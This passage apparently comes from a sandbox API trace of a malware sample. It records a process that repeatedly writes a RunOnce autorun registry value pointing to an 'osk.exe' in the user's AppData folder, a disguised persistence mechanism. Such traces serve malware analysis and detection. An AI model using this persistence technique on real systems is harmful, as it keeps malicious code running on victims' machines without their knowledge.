dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.106] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.106] RegCloseKey (hKey=0x14c) returned 0x0 [0267.106] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.106] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.121] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.121] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.122] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.122] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.122] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.122] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.122] RegCloseKey (hKey=0x14c) returned 0x0 [0267.123] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.123] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.136] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.136] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.136] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.137] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.137] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.137] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.137] RegCloseKey (hKey=0x14c) returned 0x0 [0267.137] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.138] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.151] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.151] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.152] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.152] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.152] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.153] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.153] RegCloseKey (hKey=0x14c) returned 0x0 [0267.153] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.153] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.167] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.167] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.167] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.168] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.168] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.168] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.168] RegCloseKey (hKey=0x14c) returned 0x0 [0267.169] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.169] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.183] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.183] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.183] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.184] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.184] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.184] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.184] RegCloseKey (hKey=0x14c) returned 0x0 [0267.184] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.185] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.198] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.198] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.199] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.199] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.199] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.200] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.200] RegCloseKey (hKey=0x14c) returned 0x0 [0267.200] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.200] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.214] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.214] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.214] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.215] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.215] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.215] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.215] RegCloseKey (hKey=0x14c) returned 0x0 [0267.215] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.216] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.229] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.229] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.230] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.230] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.231] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.231] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.231] RegCloseKey (hKey=0x14c) returned 0x0 [0267.231] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.232] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.247] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.247] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.247] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.248] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.248] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.248] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.248] RegCloseKey (hKey=0x14c) returned 0x0 [0267.248] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.249] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.261] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.261] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.261] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.261] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.261] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.262] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.262] RegCloseKey (hKey=0x14c) returned 0x0 [0267.262] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.262] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.276] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.276] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.277] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.277] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.277] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.277] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.277] RegCloseKey (hKey=0x14c) returned 0x0 [0267.278] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.278] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.292] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.292] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.292] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.293] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.293] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.293] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.293] RegCloseKey (hKey=0x14c) returned 0x0 [0267.293] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.294] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.307] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.308] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.308] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.309] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.309] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.309] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.309] RegCloseKey (hKey=0x14c) returned 0x0 [0267.309] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.310] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.323] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.323] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.323] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.324] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.324] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.324] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.324] RegCloseKey (hKey=0x14c) returned 0x0 [0267.325] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.325] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.339] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.339] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.339] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.340] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.340] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.340] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.340] RegCloseKey (hKey=0x14c) returned 0x0 [0267.340] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.341] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.460] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.460] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.461] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.461] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.461] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.461] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.462] RegCloseKey (hKey=0x14c) returned 0x0 [0267.462] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.462] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.464] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.464] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.464] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.465] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.465] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.465] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.465] RegCloseKey (hKey=0x14c) returned 0x0 [0267.465] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.466] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.479] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.479] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.480] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.480] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.481] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.481] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.481] RegCloseKey (hKey=0x14c) returned 0x0 [0267.481] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.481] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.495] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.495] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.496] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.496] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.496] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.496] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.497] RegCloseKey (hKey=0x14c) returned 0x0 [0267.497] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.497] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.511] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.511] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.511] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.512] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.512] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.512] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.512] RegCloseKey (hKey=0x14c) returned 0x0 [0267.513] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.513] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.526] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.526] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.527] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.527] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.527] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.528] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.528] RegCloseKey (hKey=0x14c) returned 0x0 [0267.528] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.528] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.542] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.542] DispatchMessageW (lpMsg=0x95f69c) returned 